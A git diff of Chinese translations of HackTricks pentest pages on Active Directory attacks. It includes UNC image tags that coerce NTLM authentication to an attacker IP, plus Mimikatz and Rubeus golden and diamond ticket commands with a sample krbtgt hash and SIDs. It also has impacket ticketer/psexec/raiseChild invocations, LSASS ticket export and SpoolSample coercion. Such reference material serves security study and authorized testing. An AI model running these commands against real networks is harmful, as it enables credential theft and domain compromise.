如果您知道要入侵的计算机中登录用户的**电子邮件地址**,您可以发送一封带有**1x1像素图像**的电子邮件,例如
|
||||
如果你知道想要攻陷的机器上用户的 **电子邮件地址**,你可以直接给他发送一封 **带有 1x1 图像** 的电子邮件,例如
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
和当他打开它时,他会尝试进行身份验证。
|
||||
|
||||
### MitM
|
||||
|
||||
如果您可以对计算机执行中间人攻击,并在他将要查看的页面中注入HTML,您可以尝试在页面中注入如下图像:
|
||||
如果你可以对一台计算机执行MitM攻击并在他可视化的页面中注入HTML,你可以尝试在页面中注入如下图像:
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
## 破解 NTLMv1
|
||||
|
||||
如果你能捕获 [NTLMv1 挑战,请阅读此处如何破解它们](../ntlm/#ntlmv1-attack)。\
|
||||
如果你能捕获 [NTLMv1 挑战,请阅读如何破解它们](../ntlm/#ntlmv1-attack)。\
|
||||
_请记住,为了破解 NTLMv1,你需要将 Responder 挑战设置为 "1122334455667788"_
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,34 @@
|
|||
# 打印漏洞
|
||||
# PrintNightmare
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**查看这篇关于2024年PrintNightmare的精彩博客文章:[https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
|
||||
**查看关于 PrintNightmare 的精彩博客文章,2024年:[https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,35 @@
|
|||
# SID-History Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## SID History Injection 攻击
|
||||
## SID 历史注入攻击
|
||||
|
||||
**SID History Injection 攻击**的重点是在**用户在域之间迁移**时,确保他们可以继续访问来自以前域的资源。这是通过将用户以前的安全标识符(SID)合并到其新帐户的SID History中来实现的。值得注意的是,通过将父域中高特权组(例如企业管理员或域管理员)的SID添加到SID History中,可以操纵此过程以授予未经授权的访问权限。这种利用赋予对父域内所有资源的访问权限。
|
||||
**SID 历史注入攻击**的重点是帮助**用户在域之间迁移**,同时确保继续访问前一个域的资源。这是通过**将用户之前的安全标识符 (SID) 纳入其新账户的 SID 历史**来实现的。值得注意的是,这一过程可以被操控,通过将来自父域的高权限组(如企业管理员或域管理员)的 SID 添加到 SID 历史中,从而授予未经授权的访问。这种利用赋予了对父域内所有资源的访问权限。
|
||||
|
||||
有两种方法可用于执行此攻击:通过创建**Golden Ticket**或**Diamond Ticket**。
|
||||
执行此攻击有两种方法:通过创建**金票**或**钻石票**。
|
||||
|
||||
要找到**"Enterprise Admins"**组的SID,首先必须找到根域的SID。在确定后,可以通过在根域的SID后附加`-519`来构建Enterprise Admins组的SID。例如,如果根域SID为`S-1-5-21-280534878-1496970234-700767426`,则"Enterprise Admins"组的结果SID将是`S-1-5-21-280534878-1496970234-700767426-519`。
|
||||
要确定**“企业管理员”**组的 SID,首先必须找到根域的 SID。在识别后,可以通过将 `-519` 附加到根域的 SID 来构建企业管理员组的 SID。例如,如果根域 SID 为 `S-1-5-21-280534878-1496970234-700767426`,则“企业管理员”组的结果 SID 将为 `S-1-5-21-280534878-1496970234-700767426-519`。
|
||||
|
||||
您还可以使用**Domain Admins**组,其以**512**结尾。
|
||||
您还可以使用**域管理员**组,其 SID 以**512**结尾。
|
||||
|
||||
另一种找到其他域组的SID(例如"Domain Admins")的方法是:
|
||||
找到其他域(例如“域管理员”)组的 SID 的另一种方法是:
|
||||
```powershell
|
||||
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
|
||||
```
|
||||
### 使用KRBTGT-AES256的黄金票据(Mimikatz)
|
||||
### Golden Ticket (Mimikatz) with KRBTGT-AES256
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -47,13 +50,13 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
有关黄金票据的更多信息,请查看:
|
||||
有关黄金票证的更多信息,请查看:
|
||||
|
||||
{% content-ref url="golden-ticket.md" %}
|
||||
[golden-ticket.md](golden-ticket.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 钻石票据(Rubeus + KRBTGT-AES256)
|
||||
### 钻石票证 (Rubeus + KRBTGT-AES256)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
|
@ -67,13 +70,13 @@ Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_s
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
有关钻石票的更多信息,请查看:
|
||||
有关 diamond tickets 的更多信息,请查看:
|
||||
|
||||
{% content-ref url="diamond-ticket.md" %}
|
||||
[diamond-ticket.md](diamond-ticket.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% endcode %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
|
||||
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
|
||||
|
@ -81,7 +84,9 @@ ls \\mcorp-dc.moneycorp.local\c$
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
使用受损域的KRBTGT哈希值升级为DA或根管理员或企业管理员:
|
||||
使用被攻陷域的 KRBTGT 哈希提升到根或企业管理员的权限:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
|
||||
|
||||
|
@ -95,15 +100,15 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
通过攻击获得的权限,您可以在新域中执行例如DCSync攻击:
|
||||
通过攻击获得的权限,您可以在新域中执行例如 DCSync 攻击:
|
||||
|
||||
{% content-ref url="dcsync.md" %}
|
||||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 从Linux
|
||||
### 从 Linux
|
||||
|
||||
#### 使用[ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)手动操作
|
||||
#### 使用 [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) 手动操作
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -127,36 +132,39 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### 使用 [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) 进行自动化
|
||||
#### 自动使用 [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
|
||||
|
||||
这是一个 Impacket 脚本,可以**自动将权限从子域升级到父域**。脚本需要:
|
||||
这是一个 Impacket 脚本,它将 **自动从子域提升到父域**。该脚本需要:
|
||||
|
||||
* 目标域控制器
|
||||
* 子域中管理员用户的凭证
|
||||
* 子域中管理员用户的凭据
|
||||
|
||||
流程如下:
|
||||
|
||||
* 获取父域的 Enterprise Admins 组的 SID
|
||||
* 检索子域中 KRBTGT 账户的哈希值
|
||||
* 创建一个 Golden Ticket
|
||||
* 获取父域的企业管理员组的 SID
|
||||
* 检索子域中 KRBTGT 账户的哈希
|
||||
* 创建一个黄金票证
|
||||
* 登录到父域
|
||||
* 检索父域中管理员账户的凭证
|
||||
* 如果指定了 `target-exec` 开关,则通过 Psexec 认证到父域的域控制器。
|
||||
* 检索父域中管理员账户的凭据
|
||||
* 如果指定了 `target-exec` 开关,它将通过 Psexec 认证到父域的域控制器。
|
||||
```bash
|
||||
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
|
||||
```
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
* [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
|
||||
* [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,53 +1,56 @@
|
|||
# 无限委派
|
||||
# Unconstrained Delegation
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) 或 **电报群** 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 无限委派
|
||||
## Unconstrained delegation
|
||||
|
||||
这是域管理员可以设置给域内任何**计算机**的功能。然后,每当**用户登录**到计算机时,该用户的**TGT副本**将被**发送到DC提供的TGS中并保存在LSASS中的内存中**。 因此,如果您在计算机上具有管理员权限,您将能够**转储票证并冒充用户**在任何计算机上。
|
||||
这是一个域管理员可以设置在域内任何**计算机**上的功能。然后,每当**用户登录**到该计算机时,该用户的**TGT副本**将被**发送到DC提供的TGS中**并**保存在LSASS的内存中**。因此,如果您在该机器上拥有管理员权限,您将能够**转储票证并在任何机器上冒充用户**。
|
||||
|
||||
因此,如果域管理员在启用了“无限委派”功能的计算机上登录,而您在该计算机上具有本地管理员权限,则您将能够转储票证并冒充域管理员(域提升)。
|
||||
因此,如果域管理员登录到启用了“无约束委派”功能的计算机,并且您在该机器上拥有本地管理员权限,您将能够转储票证并在任何地方冒充域管理员(域权限提升)。
|
||||
|
||||
您可以通过检查[userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx)属性是否包含[ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx)来**查找具有此属性的计算机对象**。 您可以使用LDAP过滤器‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’来执行此操作,这就是powerview所做的事情:
|
||||
您可以通过检查[userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx)属性是否包含[ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx)来**查找具有此属性的计算机对象**。您可以使用LDAP过滤器‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’来执行此操作,这正是powerview所做的:
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># 列出无限委派计算机
|
||||
<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
|
||||
## Powerview
|
||||
Get-NetComputer -Unconstrained #DCs总是出现但对于权限提升没有用
|
||||
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
|
||||
<strong>## ADSearch
|
||||
</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
|
||||
<strong># 使用Mimikatz导出票证
|
||||
<strong># Export tickets with Mimikatz
|
||||
</strong>privilege::debug
|
||||
sekurlsa::tickets /export #推荐的方法
|
||||
kerberos::list /export #另一种方法
|
||||
sekurlsa::tickets /export #Recommended way
|
||||
kerberos::list /export #Another way
|
||||
|
||||
# 监视登录并导出新票证
|
||||
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #每10秒检查新的TGTs</code></pre>
|
||||
# Monitor logins and export new tickets
|
||||
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs</code></pre>
|
||||
|
||||
使用**Mimikatz**或**Rubeus**将管理员(或受害用户)的票证加载到内存中进行**传递票证攻击**。\
|
||||
使用**Mimikatz**或**Rubeus**在内存中加载管理员(或受害者用户)的票证以进行[**票证传递**](pass-the-ticket.md)**。**\
|
||||
更多信息:[https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
|
||||
[**有关无限委派的更多信息,请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
|
||||
[**有关无约束委派的更多信息,请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
|
||||
|
||||
### **强制认证**
|
||||
### **强制身份验证**
|
||||
|
||||
如果攻击者能够**入侵允许“无限委派”的计算机**,他可以**欺骗**一个**打印服务器**自动登录到该计算机**在服务器的内存中保存一个TGT**。\
|
||||
然后,攻击者可以执行**传递票证攻击**来冒充用户打印服务器计算机帐户。
|
||||
如果攻击者能够**攻陷允许“无约束委派”的计算机**,他可以**欺骗**一个**打印服务器**,使其**自动登录**并**在服务器的内存中保存TGT**。\
|
||||
然后,攻击者可以执行**票证传递攻击以冒充**用户打印服务器计算机帐户。
|
||||
|
||||
要使打印服务器登录到任何计算机,您可以使用[**SpoolSample**](https://github.com/leechristensen/SpoolSample):
|
||||
要使打印服务器登录到任何机器,您可以使用[**SpoolSample**](https://github.com/leechristensen/SpoolSample):
|
||||
```bash
|
||||
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
|
||||
```
|
||||
如果TGT来自域控制器,您可以执行**DCSync攻击**并从DC获取所有哈希。\
|
||||
[**有关此攻击的更多信息,请查看ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
|
||||
如果 TGT 来自域控制器,您可以执行一个[ **DCSync attack**](acl-persistence-abuse/#dcsync) 并从 DC 获取所有哈希。\
|
||||
[**有关此攻击的更多信息,请访问 ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
|
||||
|
||||
**以下是尝试强制身份验证的其他方法:**
|
||||
|
||||
|
@ -55,7 +58,22 @@ kerberos::list /export #另一种方法
|
|||
[printers-spooler-service-abuse.md](printers-spooler-service-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 缓解
|
||||
### 缓解措施
|
||||
|
||||
* 限制DA/Admin登录到特定服务
|
||||
* 为特权帐户设置“帐户是敏感的,不能被委派”选项。
|
||||
* 将 DA/Admin 登录限制为特定服务
|
||||
* 为特权账户设置“账户是敏感的,无法被委派”。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,28 @@
|
|||
# PowerView/SharpView
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
